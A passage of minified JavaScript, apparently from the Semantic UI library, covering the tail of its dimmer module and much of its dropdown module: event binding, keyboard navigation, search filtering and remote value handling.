("+a.length+")"),(console.group!==i||console.table!==i)&&s.length>0&&(console.groupCollapsed(t),console.table?console.table(s):e.each(s,function(e,t){console.log(t.Name+": "+t["Execution Time"]+"ms")}),console.groupEnd()),s=[]}},invoke:function(t,n,a){var r,s,l,c=T;return n=n||u,a=S||a,"string"==typeof t&&c!==i&&(t=t.split(/[\. ]/),r=t.length-1,e.each(t,function(n,o){var a=n!=r?o+t[n+1].charAt(0).toUpperCase()+t[n+1].slice(1):t;if(e.isPlainObject(c[a])&&n!=r)c=c[a];else{if(c[a]!==i)return s=c[a],!1;if(!e.isPlainObject(c[o])||n==r)return c[o]!==i?(s=c[o],!1):(m.error(b.method,t),!1);c=c[o]}})),e.isFunction(s)?l=s.apply(a,n):s!==i&&(l=s),e.isArray(o)?o.push(l):o!==i?o=[o,l]:l!==i&&(o=l),s}},m.preinitialize(),c?(T===i&&m.initialize(),m.invoke(l)):(T!==i&&T.invoke("destroy"),m.initialize())}),o!==i?o:this},e.fn.dimmer.settings={name:"Dimmer",namespace:"dimmer",silent:!1,debug:!1,verbose:!1,performance:!0,dimmerName:!1,variation:!1,closable:"auto",useCSS:!0,transition:"fade",on:!1,opacity:"auto",duration:{show:500,hide:500},onChange:function(){},onShow:function(){},onHide:function(){},error:{method:"The method you called is not defined."},className:{active:"active",animating:"animating",dimmable:"dimmable",dimmed:"dimmed",dimmer:"dimmer",disabled:"disabled",hide:"hide",pageDimmer:"page",show:"show"},selector:{dimmer:"> .ui.dimmer",content:".ui.dimmer > .content, .ui.dimmer > .content > .center"},template:{dimmer:function(){return e("<div />").attr("class","ui dimmer")}}}}(jQuery,window,document),function(e,t,n,i){"use strict";t="undefined"!=typeof t&&t.Math==Math?t:"undefined"!=typeof self&&self.Math==Math?self:Function("return this")(),e.fn.dropdown=function(o){var a,r=e(this),s=e(n),l=r.selector||"",c="ontouchstart"in n.documentElement,u=(new Date).getTime(),d=[],f=arguments[0],m="string"==typeof f,g=[].slice.call(arguments,1);return r.each(function(p){var h,v,b,y,x,C,w,k,S=e.isPlainObject(o)?e.extend(!0,{},e.fn.dropdown.settings,o):e.extend({},e.fn.dropdown.settings),T=S.className,A=S.message,R=S.fields,E=S.keys,P=S.metadata,F=S.namespace,O=S.regExp,D=S.selector,q=S.error,j=S.templates,z="."+F,M="module-"+F,I=e(this),L=e(S.context),N=I.find(D.text),V=I.find(D.search),H=I.find(D.sizer),U=I.find(D.input),W=I.find(D.icon),B=I.prev().find(D.text).length>0?I.prev().find(D.text):I.prev(),Q=I.children(D.menu),X=Q.find(D.item),$=!1,Y=!1,K=!1,Z=this,J=I.data(M);k={initialize:function(){k.debug("Initializing dropdown",S),k.is.alreadySetup()?k.setup.reference():(k.setup.layout(),k.refreshData(),k.save.defaults(),k.restore.selected(),k.create.id(),k.bind.events(),k.observeChanges(),k.instantiate())},instantiate:function(){k.verbose("Storing instance of dropdown",k),J=k,I.data(M,k)},destroy:function(){k.verbose("Destroying previous dropdown",I),k.remove.tabbable(),I.off(z).removeData(M),Q.off(z),s.off(y),k.disconnect.menuObserver(),k.disconnect.selectObserver()},observeChanges:function(){"MutationObserver"in t&&(C=new MutationObserver(k.event.select.mutation),w=new MutationObserver(k.event.menu.mutation),k.debug("Setting up mutation observer",C,w),k.observe.select(),k.observe.menu())},disconnect:{menuObserver:function(){w&&w.disconnect()},selectObserver:function(){C&&C.disconnect()}},observe:{select:function(){k.has.input()&&C.observe(U[0],{childList:!0,subtree:!0})},menu:function(){k.has.menu()&&w.observe(Q[0],{childList:!0,subtree:!0})}},create:{id:function(){x=(Math.random().toString(16)+"000000000").substr(2,8),y="."+x,k.verbose("Creating unique id for element",x)},userChoice:function(t){var n,o,a;return!!(t=t||k.get.userValues())&&(t=e.isArray(t)?t:[t],e.each(t,function(t,r){k.get.item(r)===!1&&(a=S.templates.addition(k.add.variables(A.addResult,r)),o=e("<div />").html(a).attr("data-"+P.value,r).attr("data-"+P.text,r).addClass(T.addition).addClass(T.item),S.hideAdditions&&o.addClass(T.hidden),n=n===i?o:n.add(o),k.verbose("Creating user choices for value",r,o))}),n)},userLabels:function(t){var n=k.get.userValues();n&&(k.debug("Adding user labels",n),e.each(n,function(e,t){k.verbose("Adding custom user value"),k.add.label(t,t)}))},menu:function(){Q=e("<div />").addClass(T.menu).appendTo(I)},sizer:function(){H=e("<span />").addClass(T.sizer).insertAfter(V)}},search:function(e){e=e!==i?e:k.get.query(),k.verbose("Searching for query",e),k.has.minCharacters(e)?k.filter(e):k.hide()},select:{firstUnfiltered:function(){k.verbose("Selecting first non-filtered element"),k.remove.selectedItem(),X.not(D.unselectable).not(D.addition+D.hidden).eq(0).addClass(T.selected)},nextAvailable:function(e){e=e.eq(0);var t=e.nextAll(D.item).not(D.unselectable).eq(0),n=e.prevAll(D.item).not(D.unselectable).eq(0),i=t.length>0;i?(k.verbose("Moving selection to",t),t.addClass(T.selected)):(k.verbose("Moving selection to",n),n.addClass(T.selected))}},setup:{api:function(){var e={debug:S.debug,urlData:{value:k.get.value(),query:k.get.query()},on:!1};k.verbose("First request, initializing API"),I.api(e)},layout:function(){I.is("select")&&(k.setup.select(),k.setup.returnedObject()),k.has.menu()||k.create.menu(),k.is.search()&&!k.has.search()&&(k.verbose("Adding search input"),V=e("<input />").addClass(T.search).prop("autocomplete","off").insertBefore(N)),k.is.multiple()&&k.is.searchSelection()&&!k.has.sizer()&&k.create.sizer(),S.allowTab&&k.set.tabbable()},select:function(){var t=k.get.selectValues();k.debug("Dropdown initialized on a select",t),I.is("select")&&(U=I),U.parent(D.dropdown).length>0?(k.debug("UI dropdown already exists. Creating dropdown menu only"),I=U.closest(D.dropdown),k.has.menu()||k.create.menu(),Q=I.children(D.menu),k.setup.menu(t)):(k.debug("Creating entire dropdown from select"),I=e("<div />").attr("class",U.attr("class")).addClass(T.selection).addClass(T.dropdown).html(j.dropdown(t)).insertBefore(U),U.hasClass(T.multiple)&&U.prop("multiple")===!1&&(k.error(q.missingMultiple),U.prop("multiple",!0)),U.is("[multiple]")&&k.set.multiple(),U.prop("disabled")&&(k.debug("Disabling dropdown"),I.addClass(T.disabled)),U.removeAttr("class").detach().prependTo(I)),k.refresh()},menu:function(e){Q.html(j.menu(e,R)),X=Q.find(D.item)},reference:function(){k.debug("Dropdown behavior was called on select, replacing with closest dropdown"),I=I.parent(D.dropdown),k.refresh(),k.setup.returnedObject(),m&&(J=k,k.invoke(f))},returnedObject:function(){var e=r.slice(0,p),t=r.slice(p+1);r=e.add(I).add(t)}},refresh:function(){k.refreshSelectors(),k.refreshData()},refreshItems:function(){X=Q.find(D.item)},refreshSelectors:function(){k.verbose("Refreshing selector cache"),N=I.find(D.text),V=I.find(D.search),U=I.find(D.input),W=I.find(D.icon),B=I.prev().find(D.text).length>0?I.prev().find(D.text):I.prev(),Q=I.children(D.menu),X=Q.find(D.item)},refreshData:function(){k.verbose("Refreshing cached metadata"),X.removeData(P.text).removeData(P.value)},clearData:function(){k.verbose("Clearing metadata"),X.removeData(P.text).removeData(P.value),I.removeData(P.defaultText).removeData(P.defaultValue).removeData(P.placeholderText)},toggle:function(){k.verbose("Toggling menu visibility"),k.is.active()?k.hide():k.show()},show:function(t){if(t=e.isFunction(t)?t:function(){},k.can.show()&&!k.is.active()){if(k.debug("Showing dropdown"),!k.has.message()||k.has.maxSelections()||k.has.allResultsFiltered()||k.remove.message(),k.is.allFiltered())return!0;S.onShow.call(Z)!==!1&&k.animate.show(function(){k.can.click()&&k.bind.intent(),k.has.menuSearch()&&k.focusSearch(),k.set.visible(),t.call(Z)})}},hide:function(t){t=e.isFunction(t)?t:function(){},k.is.active()&&(k.debug("Hiding dropdown"),S.onHide.call(Z)!==!1&&k.animate.hide(function(){k.remove.visible(),t.call(Z)}))},hideOthers:function(){k.verbose("Finding other dropdowns to hide"),r.not(I).has(D.menu+"."+T.visible).dropdown("hide")},hideMenu:function(){k.verbose("Hiding menu instantaneously"),k.remove.active(),k.remove.visible(),Q.transition("hide")},hideSubMenus:function(){var e=Q.children(D.item).find(D.menu);k.verbose("Hiding sub menus",e),e.transition("hide")},bind:{events:function(){c&&k.bind.touchEvents(),k.bind.keyboardEvents(),k.bind.inputEvents(),k.bind.mouseEvents()},touchEvents:function(){k.debug("Touch device detected binding additional touch events"),k.is.searchSelection()||k.is.single()&&I.on("touchstart"+z,k.event.test.toggle),Q.on("touchstart"+z,D.item,k.event.item.mouseenter)},keyboardEvents:function(){k.verbose("Binding keyboard events"),I.on("keydown"+z,k.event.keydown),k.has.search()&&I.on(k.get.inputEvent()+z,D.search,k.event.input),k.is.multiple()&&s.on("keydown"+y,k.event.document.keydown)},inputEvents:function(){k.verbose("Binding input change events"),I.on("change"+z,D.input,k.event.change)},mouseEvents:function(){k.verbose("Binding mouse events"),k.is.multiple()&&I.on("click"+z,D.label,k.event.label.click).on("click"+z,D.remove,k.event.remove.click),k.is.searchSelection()?(I.on("mousedown"+z,k.event.mousedown).on("mouseup"+z,k.event.mouseup).on("mousedown"+z,D.menu,k.event.menu.mousedown).on("mouseup"+z,D.menu,k.event.menu.mouseup).on("click"+z,D.icon,k.event.icon.click).on("focus"+z,D.search,k.event.search.focus).on("click"+z,D.search,k.event.search.focus).on("blur"+z,D.search,k.event.search.blur).on("click"+z,D.text,k.event.text.focus),k.is.multiple()&&I.on("click"+z,k.event.click)):("click"==S.on?I.on("click"+z,D.icon,k.event.icon.click).on("click"+z,k.event.test.toggle):"hover"==S.on?I.on("mouseenter"+z,k.delay.show).on("mouseleave"+z,k.delay.hide):I.on(S.on+z,k.toggle),I.on("mousedown"+z,k.event.mousedown).on("mouseup"+z,k.event.mouseup).on("focus"+z,k.event.focus).on("blur"+z,k.event.blur)),Q.on("mouseenter"+z,D.item,k.event.item.mouseenter).on("mouseleave"+z,D.item,k.event.item.mouseleave).on("click"+z,D.item,k.event.item.click)},intent:function(){k.verbose("Binding hide intent event to document"),c&&s.on("touchstart"+y,k.event.test.touch).on("touchmove"+y,k.event.test.touch),s.on("click"+y,k.event.test.hide)}},unbind:{intent:function(){k.verbose("Removing hide intent event from document"),c&&s.off("touchstart"+y).off("touchmove"+y),s.off("click"+y)}},filter:function(e){var t=e!==i?e:k.get.query(),n=function(){k.is.multiple()&&k.filterActive(),k.select.firstUnfiltered(),k.has.allResultsFiltered()?S.onNoResults.call(Z,t)?S.allowAdditions?S.hideAdditions&&(k.verbose("User addition with no menu, setting empty style"),k.set.empty(),k.hideMenu()):(k.verbose("All items filtered, showing message",t),k.add.message(A.noResults)):(k.verbose("All items filtered, hiding dropdown",t),k.hideMenu()):(k.remove.empty(),k.remove.message()),S.allowAdditions&&k.add.userSuggestion(e),k.is.searchSelection()&&k.can.show()&&k.is.focusedOnSearch()&&k.show()};S.useLabels&&k.has.maxSelections()||(S.apiSettings?k.can.useAPI()?k.queryRemote(t,function(){n()}):k.error(q.noAPI):(k.filterItems(t),n()))},queryRemote:function(t,n){var i={errorDuration:!1,cache:"local",throttle:S.throttle,urlData:{query:t},onError:function(){k.add.message(A.serverError),n()},onFailure:function(){k.add.message(A.serverError),n()},onSuccess:function(e){k.remove.message(),k.setup.menu({values:e[R.remoteValues]}),n()}};I.api("get request")||k.setup.api(),i=e.extend(!0,{},i,S.apiSettings),I.api("setting",i).api("query")},filterItems:function(t){var n=t!==i?t:k.get.query(),o=null,a=k.escape.regExp(n),r=new RegExp("^"+a,"igm");k.has.query()&&(o=[],k.verbose("Searching for matching values",n),X.each(function(){var t,i,a=e(this);if("both"==S.match||"text"==S.match){if(t=String(k.get.choiceText(a,!1)),t.search(r)!==-1)return o.push(this),!0;if("exact"===S.fullTextSearch&&k.exactSearch(n,t))return o.push(this),!0;if(S.fullTextSearch===!0&&k.fuzzySearch(n,t))return o.push(this),!0}if("both"==S.match||"value"==S.match){if(i=String(k.get.choiceValue(a,t)),i.search(r)!==-1)return o.push(this),!0;if(S.fullTextSearch&&k.fuzzySearch(n,i))return o.push(this),!0}})),k.debug("Showing only matched items",n),k.remove.filteredItem(),o&&X.not(o).addClass(T.filtered)},fuzzySearch:function(e,t){var n=t.length,i=e.length;if(e=e.toLowerCase(),t=t.toLowerCase(),i>n)return!1;if(i===n)return e===t;e:for(var o=0,a=0;o<i;o++){for(var r=e.charCodeAt(o);a<n;)if(t.charCodeAt(a++)===r)continue e;return!1}return!0},exactSearch:function(e,t){return e=e.toLowerCase(),t=t.toLowerCase(),t.indexOf(e)>-1},filterActive:function(){S.useLabels&&X.filter("."+T.active).addClass(T.filtered)},focusSearch:function(e){k.has.search()&&!k.is.focusedOnSearch()&&(e?(I.off("focus"+z,D.search),V.focus(),I.on("focus"+z,D.search,k.event.search.focus)):V.focus())},forceSelection:function(){var e=X.not(T.filtered).filter("."+T.selected).eq(0),t=X.not(T.filtered).filter("."+T.active).eq(0),n=e.length>0?e:t,i=n.length>0;return i?(k.debug("Forcing partial selection to selected item",n),void k.event.item.click.call(n,{},!0)):void(S.allowAdditions?(k.set.selected(k.get.query()),k.remove.searchTerm()):k.remove.searchTerm())},event:{change:function(){K||(k.debug("Input changed, updating selection"),k.set.selected())},focus:function(){S.showOnFocus&&!$&&k.is.hidden()&&!v&&k.show()},blur:function(e){v=n.activeElement===this,$||v||(k.remove.activeLabel(),k.hide())},mousedown:function(){k.is.searchSelection()?b=!0:$=!0},mouseup:function(){k.is.searchSelection()?b=!1:$=!1},click:function(t){var n=e(t.target);n.is(I)&&(k.is.focusedOnSearch()?k.show():k.focusSearch())},search:{focus:function(){$=!0,k.is.multiple()&&k.remove.activeLabel(),S.showOnFocus&&k.search()},blur:function(e){v=n.activeElement===this,b||Y||v||(S.forceSelection&&k.forceSelection(),k.hide()),b=!1}},icon:{click:function(e){k.toggle()}},text:{focus:function(e){$=!0,k.focusSearch()}},input:function(e){(k.is.multiple()||k.is.searchSelection())&&k.set.filtered(),clearTimeout(k.timer),k.timer=setTimeout(k.search,S.delay.search); },label:{click:function(t){var n=e(this),i=I.find(D.label),o=i.filter("."+T.active),a=n.nextAll("."+T.active),r=n.prevAll("."+T.active),s=a.length>0?n.nextUntil(a).add(o).add(n):n.prevUntil(r).add(o).add(n);t.shiftKey?(o.removeClass(T.active),s.addClass(T.active)):t.ctrlKey?n.toggleClass(T.active):(o.removeClass(T.active),n.addClass(T.active)),S.onLabelSelect.apply(this,i.filter("."+T.active))}},remove:{click:function(){var t=e(this).parent();t.hasClass(T.active)?k.remove.activeLabels():k.remove.activeLabels(t)}},test:{toggle:function(e){var t=k.is.multiple()?k.show:k.toggle;k.is.bubbledLabelClick(e)||k.is.bubbledIconClick(e)||k.determine.eventOnElement(e,t)&&e.preventDefault()},touch:function(e){k.determine.eventOnElement(e,function(){"touchstart"==e.type?k.timer=setTimeout(function(){k.hide()},S.delay.touch):"touchmove"==e.type&&clearTimeout(k.timer)}),e.stopPropagation()},hide:function(e){k.determine.eventInModule(e,k.hide)}},select:{mutation:function(e){k.debug("<select> modified, recreating menu"),k.setup.select()}},menu:{mutation:function(t){var n=t[0],i=e(n.addedNodes?n.addedNodes[0]:!1),o=e(n.removedNodes?n.removedNodes[0]:!1),a=i.add(o),r=a.is(D.addition)||a.closest(D.addition).length>0,s=a.is(D.message)||a.closest(D.message).length>0;r||s?(k.debug("Updating item selector cache"),k.refreshItems()):(k.debug("Menu modified, updating selector cache"),k.refresh())},mousedown:function(){Y=!0},mouseup:function(){Y=!1}},item:{mouseenter:function(t){var n=e(t.target),i=e(this),o=i.children(D.menu),a=i.siblings(D.item).children(D.menu),r=o.length>0,s=o.find(n).length>0;!s&&r&&(clearTimeout(k.itemTimer),k.itemTimer=setTimeout(function(){k.verbose("Showing sub-menu",o),e.each(a,function(){k.animate.hide(!1,e(this))}),k.animate.show(!1,o)},S.delay.show),t.preventDefault())},mouseleave:function(t){var n=e(this).children(D.menu);n.length>0&&(clearTimeout(k.itemTimer),k.itemTimer=setTimeout(function(){k.verbose("Hiding sub-menu",n),k.animate.hide(!1,n)},S.delay.hide))},click:function(t,n){var i=e(this),o=e(t?t.target:""),a=i.find(D.menu),r=k.get.choiceText(i),s=k.get.choiceValue(i,r),l=a.length>0,c=a.find(o).length>0;c||l&&!S.allowCategorySelection||(k.is.searchSelection()&&(S.allowAdditions&&k.remove.userAddition(),k.remove.searchTerm(),k.is.focusedOnSearch()||1==n||k.focusSearch(!0)),S.useLabels||(k.remove.filteredItem(),k.set.scrollPosition(i)),k.determine.selectAction.call(this,r,s))}},document:{keydown:function(e){var t=e.which,n=k.is.inObject(t,E);if(n){var i=I.find(D.label),o=i.filter("."+T.active),a=(o.data(P.value),i.index(o)),r=i.length,s=o.length>0,l=o.length>1,c=0===a,u=a+1==r,d=k.is.searchSelection(),f=k.is.focusedOnSearch(),m=k.is.focused(),g=f&&0===k.get.caretPosition();if(d&&!s&&!f)return;t==E.leftArrow?!m&&!g||s?s&&(e.shiftKey?k.verbose("Adding previous label to selection"):(k.verbose("Selecting previous label"),i.removeClass(T.active)),c&&!l?o.addClass(T.active):o.prev(D.siblingLabel).addClass(T.active).end(),e.preventDefault()):(k.verbose("Selecting previous label"),i.last().addClass(T.active)):t==E.rightArrow?(m&&!s&&i.first().addClass(T.active),s&&(e.shiftKey?k.verbose("Adding next label to selection"):(k.verbose("Selecting next label"),i.removeClass(T.active)),u?d?f?i.removeClass(T.active):k.focusSearch():l?o.next(D.siblingLabel).addClass(T.active):o.addClass(T.active):o.next(D.siblingLabel).addClass(T.active),e.preventDefault())):t==E.deleteKey||t==E.backspace?s?(k.verbose("Removing active labels"),u&&d&&!f&&k.focusSearch(),o.last().next(D.siblingLabel).addClass(T.active),k.remove.activeLabels(o),e.preventDefault()):g&&!s&&t==E.backspace&&(k.verbose("Removing last label on input backspace"),o=i.last().addClass(T.active),k.remove.activeLabels(o)):o.removeClass(T.active)}}},keydown:function(e){var t=e.which,n=k.is.inObject(t,E);if(n){var i,o,a=X.not(D.unselectable).filter("."+T.selected).eq(0),r=Q.children("."+T.active).eq(0),s=a.length>0?a:r,l=s.length>0?s.siblings(":not(."+T.filtered+")").addBack():Q.children(":not(."+T.filtered+")"),c=s.children(D.menu),u=s.closest(D.menu),d=u.hasClass(T.visible)||u.hasClass(T.animating)||u.parent(D.menu).length>0,f=c.length>0,m=s.length>0,g=s.not(D.unselectable).length>0,p=t==E.delimiter&&S.allowAdditions&&k.is.multiple(),h=S.allowAdditions&&S.hideAdditions&&(t==E.enter||p)&&g;if(h&&(k.verbose("Selecting item from keyboard shortcut",s),k.event.item.click.call(s,e),k.is.searchSelection()&&k.remove.searchTerm()),k.is.visible()){if((t==E.enter||p)&&(t==E.enter&&m&&f&&!S.allowCategorySelection?(k.verbose("Pressed enter on unselectable category, opening sub menu"),t=E.rightArrow):g&&(k.verbose("Selecting item from keyboard shortcut",s),k.event.item.click.call(s,e),k.is.searchSelection()&&k.remove.searchTerm()),e.preventDefault()),m&&(t==E.leftArrow&&(o=u[0]!==Q[0],o&&(k.verbose("Left key pressed, closing sub-menu"),k.animate.hide(!1,u),s.removeClass(T.selected),u.closest(D.item).addClass(T.selected),e.preventDefault())),t==E.rightArrow&&f&&(k.verbose("Right key pressed, opening sub-menu"),k.animate.show(!1,c),s.removeClass(T.selected),c.find(D.item).eq(0).addClass(T.selected),e.preventDefault())),t==E.upArrow){if(i=m&&d?s.prevAll(D.item+":not("+D.unselectable+")").eq(0):X.eq(0),l.index(i)<0)return k.verbose("Up key pressed but reached top of current menu"),void e.preventDefault();k.verbose("Up key pressed, changing active item"),s.removeClass(T.selected),i.addClass(T.selected),k.set.scrollPosition(i),S.selectOnKeydown&&k.is.single()&&k.set.selectedItem(i),e.preventDefault()}if(t==E.downArrow){if(i=m&&d?i=s.nextAll(D.item+":not("+D.unselectable+")").eq(0):X.eq(0),0===i.length)return k.verbose("Down key pressed but reached bottom of current menu"),void e.preventDefault();k.verbose("Down key pressed, changing active item"),X.removeClass(T.selected),i.addClass(T.selected),k.set.scrollPosition(i),S.selectOnKeydown&&k.is.single()&&k.set.selectedItem(i),e.preventDefault()}t==E.pageUp&&(k.scrollPage("up"),e.preventDefault()),t==E.pageDown&&(k.scrollPage("down"),e.preventDefault()),t==E.escape&&(k.verbose("Escape key pressed, closing dropdown"),k.hide())}else p&&e.preventDefault(),t!=E.downArrow||k.is.visible()||(k.verbose("Down key pressed, showing dropdown"),k.select.firstUnfiltered(),k.show(),e.preventDefault())}else k.has.search()||k.set.selectedLetter(String.fromCharCode(t))}},trigger:{change:function(){var e=n.createEvent("HTMLEvents"),t=U[0];t&&(k.verbose("Triggering native change event"),e.initEvent("change",!0,!1),t.dispatchEvent(e))}},determine:{selectAction:function(t,n){k.verbose("Determining action",S.action),e.isFunction(k.action[S.action])?(k.verbose("Triggering preset action",S.action,t,n),k.action[S.action].call(Z,t,n,this)):e.isFunction(S.action)?(k.verbose("Triggering user action",S.action,t,n),S.action.call(Z,t,n,this)):k.error(q.action,S.action)},eventInModule:function(t,i){var o=e(t.target),a=o.closest(n.documentElement).length>0,r=o.closest(I).length>0;return i=e.isFunction(i)?i:function(){},a&&!r?(k.verbose("Triggering event",i),i(),!0):(k.verbose("Event occurred in dropdown, canceling callback"),!1)},eventOnElement:function(t,i){var o=e(t.target),a=o.closest(D.siblingLabel),r=n.body.contains(t.target),s=0===I.find(a).length,l=0===o.closest(Q).length;return i=e.isFunction(i)?i:function(){},r&&s&&l?(k.verbose("Triggering event",i),i(),!0):(k.verbose("Event occurred in dropdown menu, canceling callback"),!1)}},action:{nothing:function(){},activate:function(t,n,o){if(n=n!==i?n:t,k.can.activate(e(o))){if(k.set.selected(n,e(o)),k.is.multiple()&&!k.is.allFiltered())return;k.hideAndClear()}},select:function(t,n,o){if(n=n!==i?n:t,k.can.activate(e(o))){if(k.set.value(n,e(o)),k.is.multiple()&&!k.is.allFiltered())return;k.hideAndClear()}},combo:function(t,n,o){n=n!==i?n:t,k.set.selected(n,e(o)),k.hideAndClear()},hide:function(e,t,n){k.set.value(t,e),k.hideAndClear()}},get:{id:function(){return x},defaultText:function(){return I.data(P.defaultText)},defaultValue:function(){return I.data(P.defaultValue)},placeholderText:function(){return I.data(P.placeholderText)||""},text:function(){return N.text()},query:function(){return e.trim(V.val())},searchWidth:function(e){return e=e!==i?e:V.val(),H.text(e),Math.ceil(H.width()+1)},selectionCount:function(){var t,n=k.get.values();return t=k.is.multiple()?e.isArray(n)?n.length:0:""!==k.get.value()?1:0},transition:function(e){return"auto"==S.transition?k.is.upward(e)?"slide up":"slide down":S.transition},userValues:function(){var t=k.get.values();return!!t&&(t=e.isArray(t)?t:[t],e.grep(t,function(e){return k.get.item(e)===!1}))},uniqueArray:function(t){return e.grep(t,function(n,i){return e.inArray(n,t)===i})},caretPosition:function(){var e,t,i=V.get(0);return"selectionStart"in i?i.selectionStart:n.selection?(i.focus(),e=n.selection.createRange(),t=e.text.length,e.moveStart("character",-i.value.length),e.text.length-t):void 0},value:function(){var t=U.length>0?U.val():I.data(P.value),n=e.isArray(t)&&1===t.length&&""===t[0];return t===i||n?"":t},values:function(){var e=k.get.value();return""===e?"":!k.has.selectInput()&&k.is.multiple()?"string"==typeof e?e.split(S.delimiter):"":e},remoteValues:function(){var t=k.get.values(),n=!1;return t&&("string"==typeof t&&(t=[t]),e.each(t,function(e,t){var i=k.read.remoteData(t);k.verbose("Restoring value from session data",i,t),i&&(n||(n={}),n[t]=i)})),n},choiceText:function(t,n){if(n=n!==i?n:S.preserveHTML,t)return t.find(D.menu).length>0&&(k.verbose("Retrieving text of element with sub-menu"),t=t.clone(),t.find(D.menu).remove(),t.find(D.menuIcon).remove()),t.data(P.text)!==i?t.data(P.text):n?e.trim(t.html()):e.trim(t.text())},choiceValue:function(t,n){return n=n||k.get.choiceText(t),!!t&&(t.data(P.value)!==i?String(t.data(P.value)):"string"==typeof n?e.trim(n.toLowerCase()):String(n))},inputEvent:function(){var e=V[0];return!!e&&(e.oninput!==i?"input":e.onpropertychange!==i?"propertychange":"keyup")},selectValues:function(){var t={};return t.values=[],I.find("option").each(function(){var n=e(this),o=n.html(),a=n.attr("disabled"),r=n.attr("value")!==i?n.attr("value"):o;"auto"===S.placeholder&&""===r?t.placeholder=o:t.values.push({name:o,value:r,disabled:a})}),S.placeholder&&"auto"!==S.placeholder&&(k.debug("Setting placeholder value to",S.placeholder),t.placeholder=S.placeholder),S.sortSelect?(t.values.sort(function(e,t){return e.name>t.name?1:-1}),k.debug("Retrieved and sorted values from select",t)):k.debug("Retrieved values from select",t),t},activeItem:function(){return X.filter("."+T.active)},selectedItem:function(){var e=X.not(D.unselectable).filter("."+T.selected);return e.length>0?e:X.eq(0)},itemWithAdditions:function(e){var t=k.get.item(e),n=k.create.userChoice(e),i=n&&n.length>0;return i&&(t=t.length>0?t.add(n):n),t},item:function(t,n){var o,a,r=!1;return t=t!==i?t:k.get.values()!==i?k.get.values():k.get.text(),o=a?t.length>0:t!==i&&null!==t,a=k.is.multiple()&&e.isArray(t),n=""===t||0===t||(n||!1),o&&X.each(function(){var o=e(this),s=k.get.choiceText(o),l=k.get.choiceValue(o,s);if(null!==l&&l!==i)if(a)e.inArray(String(l),t)===-1&&e.inArray(s,t)===-1||(r=r?r.add(o):o);else if(n){if(k.verbose("Ambiguous dropdown value using strict type check",o,t),l===t||s===t)return r=o,!0}else if(String(l)==String(t)||s==t)return k.verbose("Found select item by value",l,t),r=o,!0}),r}},check:{maxSelections:function(e){return!S.maxSelections||(e=e!==i?e:k.get.selectionCount(),e>=S.maxSelections?(k.debug("Maximum selection count reached"),S.useLabels&&(X.addClass(T.filtered),k.add.message(A.maxSelections)),!0):(k.verbose("No longer at maximum selection count"),k.remove.message(),k.remove.filteredItem(),k.is.searchSelection()&&k.filterItems(),!1))}},restore:{defaults:function(){k.clear(),k.restore.defaultText(),k.restore.defaultValue()},defaultText:function(){var e=k.get.defaultText(),t=k.get.placeholderText;e===t?(k.debug("Restoring default placeholder text",e),k.set.placeholderText(e)):(k.debug("Restoring default text",e),k.set.text(e))},placeholderText:function(){k.set.placeholderText()},defaultValue:function(){var e=k.get.defaultValue();e!==i&&(k.debug("Restoring default value",e),""!==e?(k.set.value(e),k.set.selected()):(k.remove.activeItem(),k.remove.selectedItem()))},labels:function(){S.allowAdditions&&(S.useLabels||(k.error(q.labels),S.useLabels=!0),k.debug("Restoring selected values"),k.create.userLabels()),k.check.maxSelections()},selected:function(){k.restore.values(),k.is.multiple()?(k.debug("Restoring previously selected values and labels"),k.restore.labels()):k.debug("Restoring previously selected values")},values:function(){k.set.initialLoad(),S.apiSettings&&S.saveRemoteData&&k.get.remoteValues()?k.restore.remoteValues():k.set.selected(),k.remove.initialLoad()},remoteValues:function(){var t=k.get.remoteValues();k.debug("Recreating selected from session data",t),t&&(k.is.single()?e.each(t,function(e,t){k.set.text(t)}):e.each(t,function(e,t){k.add.label(e,t)}))}},read:{remoteData:function(e){var n;return t.Storage===i?void k.error(q.noStorage):(n=sessionStorage.getItem(e),n!==i&&n)}},save:{defaults:function(){k.save.defaultText(),k.save.placeholderText(),k.save.defaultValue()},defaultValue:function(){var e=k.get.value();k.verbose("Saving default value as",e),I.data(P.defaultValue,e)},defaultText:function(){var e=k.get.text();k.verbose("Saving default text as",e),I.data(P.defaultText,e)},placeholderText:function(){var e;S.placeholder!==!1&&N.hasClass(T.placeholder)&&(e=k.get.text(),k.verbose("Saving placeholder text as",e),I.data(P.placeholderText,e))},remoteData:function(e,n){return t.Storage===i?void k.error(q.noStorage):(k.verbose("Saving remote data to session storage",n,e),void sessionStorage.setItem(n,e))}},clear:function(){k.is.multiple()&&S.useLabels?k.remove.labels():(k.remove.activeItem(),k.remove.selectedItem()),k.set.placeholderText(),k.clearValue()},clearValue:function(){k.set.value("")},scrollPage:function(e,t){var n,i,o,a=t||k.get.selectedItem(),r=a.closest(D.menu),s=r.outerHeight(),l=r.scrollTop(),c=X.eq(0).outerHeight(),u=Math.floor(s/c),d=(r.prop("scrollHeight"),"up"==e?l-c*u:l+c*u),f=X.not(D.unselectable);o="up"==e?f.index(a)-u:f.index(a)+u,n="up"==e?o>=0:o<f.length,i=n?f.eq(o):"up"==e?f.first():f.last(),i.length>0&&(k.debug("Scrolling page",e,i),a.removeClass(T.selected),i.addClass(T.selected),S.selectOnKeydown&&k.is.single()&&k.set.selectedItem(i),r.scrollTop(d))},set:{filtered:function(){var e=k.is.multiple(),t=k.is.searchSelection(),n=e&&t,i=t?k.get.query():"",o="string"==typeof i&&i.length>0,a=k.get.searchWidth(),r=""!==i;e&&o&&(k.verbose("Adjusting input width",a,S.glyphWidth),V.css("width",a)),o||n&&r?(k.verbose("Hiding placeholder text"),N.addClass(T.filtered)):(!e||n&&!r)&&(k.verbose("Showing placeholder text"),N.removeClass(T.filtered))},empty:function(){I.addClass(T.empty)},loading:function(){I.addClass(T.loading)},placeholderText:function(e){e=e||k.get.placeholderText(),k.debug("Setting placeholder text",e),k.set.text(e),N.addClass(T.placeholder)},tabbable:function(){k.has.search()?(k.debug("Added tabindex to searchable dropdown"),V.val("").attr("tabindex",0),Q.attr("tabindex",-1)):(k.debug("Added tabindex to dropdown"),I.attr("tabindex")===i&&(I.attr("tabindex",0),Q.attr("tabindex",-1)))},initialLoad:function(){k.verbose("Setting initial load"),h=!0},activeItem:function(e){S.allowAdditions&&e.filter(D.addition).length>0?e.addClass(T.filtered):e.addClass(T.active)},partialSearch:function(e){var t=k.get.query().length;V.val(e.substr(0,t))},scrollPosition:function(e,t){var 